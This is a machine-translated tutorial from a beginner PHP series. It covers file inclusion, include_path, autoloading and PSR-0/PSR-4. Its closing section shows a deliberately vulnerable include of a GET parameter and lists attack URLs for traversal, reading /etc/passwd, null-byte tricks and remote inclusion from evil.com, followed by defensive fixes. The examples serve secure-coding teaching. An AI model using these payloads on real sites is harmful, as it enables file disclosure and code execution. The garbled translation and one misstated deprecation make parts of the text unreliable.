适用于初学者的PHP。 档案连线

图片


在PHP for Beginners系列的后续文章中,今天的文章将重点介绍PHP如何搜索和连接文件。

为什么和为什么


PHP是一种脚本语言,最初是为快速雕刻主页而创建的(是的,是的,最初是个人个人年龄工具),后来开始在膝上创建商店,社交程序和其他工艺品,超出了预期的范围。 ,但是我为什么-编码的功能越多,对结构正确,消除代码重复,将其分成逻辑部分并仅在必要时进行连接的渴望就越大(这与您在你以前读过 位置,可以将其拆分成多个部分)。 为此,PHP具有多个功能,其一般含义是连接和解释指定的文件。 让我们看一个连接文件的例子:

// file variable.php $a = 0; // file increment.php $a++; // file index.php include ('variable.php'); include ('increment.php'); include ('increment.php'); echo $a; 

如果运行index.php脚本,则PHP将依次连接并执行所有这些操作:

 $a = 0; $a++; $a++; echo $a; //  2 

连接文件时,其代码与连接所在行的作用域相同,因此此行中可用的所有变量将在包含的文件中可用。 如果在包含文件中声明了类或函数,则它们属于全局范围(除非为它们指定了名称空间)。

如果在函数内部连接文件,则包含的文件可以访问函数的作用域,因此以下代码也将起作用:

 function() { $a = 0; include ('increment.php'); include ('increment.php'); echo $a; } a(); //  2 

另外,我注意到魔术常量__DIR____FILE__ __DIR____FILE__ __DIR__和其他常量 -它们与上下文相关,并在包含发生之前执行
连接文件的独特之处在于,在连接文件时,解析会切换到HTML模式,因此,所包含文件中的任何代码都必须用PHP标记括起来:

 <?php //   // ... // ?> 

如果文件中仅包含PHP代码,则习惯上省略结束标记,以免意外地在结束标记之后忘记任何字符线程,这充满了问题(我将在下一篇文章中讨论)。
您是否看到包含10,000行的站点文件? 我的眼泪已经s(╥_╥)...

文件连接功能


如上所述,在PHP中,有几个用于连接文件的函数:

  • include-包含并执行指定的文件(如果找不到)-会发出警报E_WARNING
  • include_once-与上面的函数相似,但是一次包含文件
  • require-包含并执行指定的文件(如果找不到)-给出致命错误E_ERROR
  • require_once-与上面的函数类似,但是一次包含文件

实际上,这些功能不完全是函数,它们是特殊的语言构造,可以省略括号。 除其他事项外,还有其他方法可以连接和执行文件,但您可以自己进行挖掘,让它成为您的“带有星号的任务”;)
让我们以requirerequire_once之间的差异为例,获取一个echo.php文件:

 <p>text of file echo.php</p> 

我们将连接几次:

 <?php //     //  1 require_once 'echo.php'; //    , ..   //  true require_once 'echo.php'; //     //  1 require 'echo.php'; 

执行的结果将是与echo.php文件的两个连接:

 <p>text of file echo.php</p> <p>text of file echo.php</p> 

还有其他一些会影响连接的指令,但您将不需要它们-auto_prepend_fileauto_append_file 。 这些伪指令允许您分别在连接所有文件之前和执行所有脚本之后安装将要连接的文件。 当可能需要时,我什至无法提出“实时”方案。

工作任务
您可以使用auto_prepend_fileauto_append_file提出并实现脚本,只能在php.ini.htaccesshttpd.conf中进行更改(请参见PHP_INI_PERDIR ):)

在哪里看?


PHP在include_path指令指定的目录中搜索包含文件。 此伪指令还会影响fopen()file()readfile()file_get_contents() 。 该算法非常简单-在搜索文件时,PHP会轮流检查include_path每个目录,直到找到要连接的文件为止;否则,它会返回错误。 要从脚本更改include_path ,请使用set_include_path()函数。

设置include_path时,需要考虑一件事-在Windows和Linux上将不同的字符用作路径分隔符-“;” 和“:”,因此在指定目录时,请使用PATH_SEPARATOR常量,例如:

 //    linux $path = '/home/dev/library'; //    windows $path = 'c:\Users\Dev\Library'; //  linux  windows   include_path  set_include_path(get_include_path() . PATH_SEPARATOR . $path); 

在ini文件中编写include_path时,可以使用${USER}类的环境变量:

include_path = ".:${USER}/my-php-library"


如果在连接文件时包括绝对路径(以“ /”开头)或相对路径(以“。”或“ ..”开头),则include_path指令将被忽略,并且仅在指定路径上执行搜索。
也许值得一提谈论safe_mode ,但这已经是一个故事了(从5.4版开始),我希望您不会遇到它,但是如果突然发现它是什么,但是它过去了...

使用退货


我将告诉您一个小小的生活-如果包含的文件使用return构造返回了某些内容,则可以获取并使用此数据,因此您可以轻松地组织配置文件的连接,下面给出一个示例说明:

 return [ 'host' => 'localhost', 'user' => 'root', 'pass' => '' ]; 

 $dbConfig = require 'config/db.php'; var_dump($dbConfig); /* array( 'host' => 'localhost', 'user' => 'root', 'pass' => '' ) */ 

有趣的事实,没有它也很好:如果在包含的文件中定义了函数,则可以在主文件中使用它们,而不管它们是在返回之前还是之后声明的
工作任务
编写将从多个文件夹和文件收集配置的代码。 文件结构如下:

 config |-- default | |-- db.php | |-- debug.php | |-- language.php | `-- template.php |-- development | `-- db.php `-- production |-- db.php `-- language.php 

在这种情况下,代码应按以下方式工作:

  • 如果系统环境中有一个PROJECT_PHP_SERVER变量,并且它等于development ,则应连接默认文件夹中的所有文件,应将数据包含在$config变量中,然后应将开发文件夹中的文件连接起来,并且接收到的数据应研磨存储在$config的相应项目
  • 如果PROJECT_PHP_SERVERproduction则类似的行为(自然仅适用于生产文件夹)
  • 如果没有变量,或者设置不正确,则仅连接默认文件夹中的文件


自动连接


带有文件附件的构造看起来非常庞大,并且也遵循它们的更新-另外一件礼物,请从示例文章中查看有关异常的一段代码:

 // load all files w/out autoloader require_once 'Education/Command/AbstractCommand.php'; require_once 'Education/CommandManager.php'; require_once 'Education/Exception/EducationException.php'; require_once 'Education/Exception/CommandManagerException.php'; require_once 'Education/Exception/IllegalCommandException.php'; require_once 'Education/RequestHelper.php'; require_once 'Education/Front.php'; 

避免这种“幸福”的第一个尝试是__autoload函数的出现。 更确切地说,它甚至不是特定的功能,您必须自己定义此功能,并需要用它来连接类名所需的文件。 唯一的规则是, 对于每个类,应使用该类的名称创建一个单独的文件 (即, myClass应该位于myClass.php文件中)。 这是实现此功能__autoload()的示例(摘自官方手册中的注释):

我们将连接的类:

 //  myClass    myClass.php class myClass { public function __construct() { echo "myClass init'ed successfuly!!!"; } } 

连接此类的文件:

 //   //     include_path function __autoload($classname) { $filename = $classname .".php"; include_once $filename; } //   $obj = new myClass(); 

现在,关于此函数的问题-设想一种情况,您正在连接第三方代码,并且有人已经为您的代码注册了__autoload()函数,瞧!

 Fatal error: Cannot redeclare __autoload() 

为了避免这种情况,我们创建了一个函数,该函数允许您将任意函数或方法注册为类加载器-spl_autoload_register 。 即 我们可以创建几个具有任意名称的函数来加载类,然后使用spl_autoload_register注册。 现在index.php将如下所示:

 //   //     include_path function myAutoload($classname) { $filename = $classname .".php"; include_once($filename); } //   spl_autoload_register('myAutoload'); //   $obj = new myClass(); 

标题“您知道吗?”:第一个参数spl_autoload_register()是可选的,如果不带此参数调用该函数,则将函数spl_autoload用作加载程序,将在include_path文件夹以及扩展名为.php.inc文件中进行搜索,但这可以使用spl_autoload_extensions函数扩展该列表
现在,每个开发人员都可以注册他的加载器,主要是类名不匹配,但是如果使用名称空间,这应该不是问题。
由于spl_autoload_register()这样的高级功能已经存在很长时间了,因此spl_autoload_register()函数在PHP 7.1中已经声明为已弃用 ,这意味着在可预见的将来,此函数将被完全删除(X_x)
好吧,或多或少地清除了画面,尽管嘿,所有注册的引导加载程序在注册时都会分别排队,如果有人欺骗了他进入他的引导加载程序,则会出现一个非常令人讨厌的错误,而不是预期的结果。 为避免这种情况,成人聪明人介绍了一种标准,该标准使您可以毫无问题地连接第三方库,主要是它们中的类组织符合PSR-0标准(已经有10年的历史了)或PSR-4 。 标准中描述的要求的实质是什么:

  1. 每个库必须位于其自己的名称空间(所谓的供应商名称空间)中
  2. 每个名称空间必须具有自己的文件夹。
  3. 在命名空间内可能有子空间-也在单独的文件夹中
  4. 一类-一文件
  5. 扩展名为.php的文件名必须与类名完全匹配

手册中的示例:
全班名命名空间基本目录全程
\ Acme \日志\ Writer \ File_WriterAcme \ Log \ Writer./acme-log-writer/lib/./acme-log-writer/lib/File_Writer.php
\光环\网络\响应\状态光环\ Web/路径/到/ aura-web / src //path/to/aura-web/src/Response/Status.php
\ Symfony \核心\请求Symfony \核心./供应商/ Symfony / Core /./vendor/Symfony/Core/Request.php
\ Zend \ Acl曾德/ usr / includes / Zend //usr/includes/Zend/Acl.php


这两个标准之间的区别在于PSR-0支持没有命名空间的旧代码(即版本5.3.0之前的版本),PSR-4不受这种过时的困扰,甚至避免了不必要的文件夹嵌套。

由于这些标准,有可能出现诸如作曲家之类的工具-PHP的通用软件包管理器。 如果有人错过了,那么pronskiy会提供有关此工具的好报告。


Php注射


我还想谈一谈在一个index.php为该站点创建一个单一入口点并将其称为MVC框架的每个人的第一个错误:

 <?php $page = $_GET['page'] ?? die('Wrong filename'); if (!is_file($page)) { die('Wrong filename'); } include $page; 

您看一下代码,只想在其中传输恶意代码:

 //     http://domain.com/index.php?page=../index.php //      http://domain.com/index.php?page=config.ini //    http://domain.com/index.php?page=/etc/passwd //  ,       http://domain.com/index.php?page=user/backdoor.php 

首先想到的是强制添加.php扩展名,但在某些情况下,可以“感谢” 零字节漏洞 (请阅读此漏洞已修复很长时间 ,但是突然之间您遇到了比PHP 5.3更早的解释器,一般开发也建议):

 //    http://domain.com/index.php?page=/etc/passwd%00 

在现代版本的PHP中,连接文件路径中零字节字符的存在会立即导致相应的连接错误,即使指定的文件存在并且可以连接,结果也始终是错误的,它按以下方式检查strlen(Z_STRVAL_P(inc_filename)) != Z_STRLEN_P(inc_filename) (来自PHP本身)
第二个“有价值”的想法是检查当前目录中的文件:

 <?php $page = $_GET['page'] ?? die('Wrong filename'); if (strpos(realpath($page), __DIR__) !== 0) { die('Wrong path to file'); } include $page . '.php'; 

该检查的第三个但不是最后一个修改是使用open_basedir指令,借助它的帮助,您可以指定确切的PHP将在其中搜索要连接的文件的目录:

 <?php $page = $_GET['page'] ?? die('Wrong filename'); ini_set('open_basedir', __DIR__); include $page . '.php'; 

请注意,此指令不仅会影响文件的连接,还会影响文件系统的所有工作,即 包括此限制在内,您必须确保没有忘记指定目录之外的任何内容,缓存数据或任何用户文件(尽管功能is_uploaded_file()move_uploaded_file()继续与用于下载文件的临时文件夹一起使用)。
还有哪些其他检查? 有很多选择,这完全取决于您的应用程序的体系结构。

我还想回想一下存在一个“很棒的” allow_url_include指令(它取决于allow_url_fopen ),它允许您连接和执行远程PHP文件,这对于您的服务器而言更加危险:

 //   PHP  http://domain.com/index.php?page=http://evil.com/index.php 

看到,记住并且从不使用,默认情况下关闭了好处。 您将需要比以前更少的功能;在所有其他情况下,请奠定正确的应用程序体系结构,使应用程序的各个部分通过API进行通信。

工作任务
编写一个脚本,使您可以按名称连接当前文件夹中的php脚本,同时记住可能存在的漏洞并避免遗漏。

总结


本文是PHP的基础,因此请仔细研究,完成任务并且不要归档,没有人会教您。

聚苯乙烯


这是一系列文章“面向初学者的PHP”的转贴:


如果您对文章的材料或形式有任何评论,请在评论中描述要点,我们将使材料变得更好。

Source: https://habr.com/ru/post/zh-CN439618/


All Articles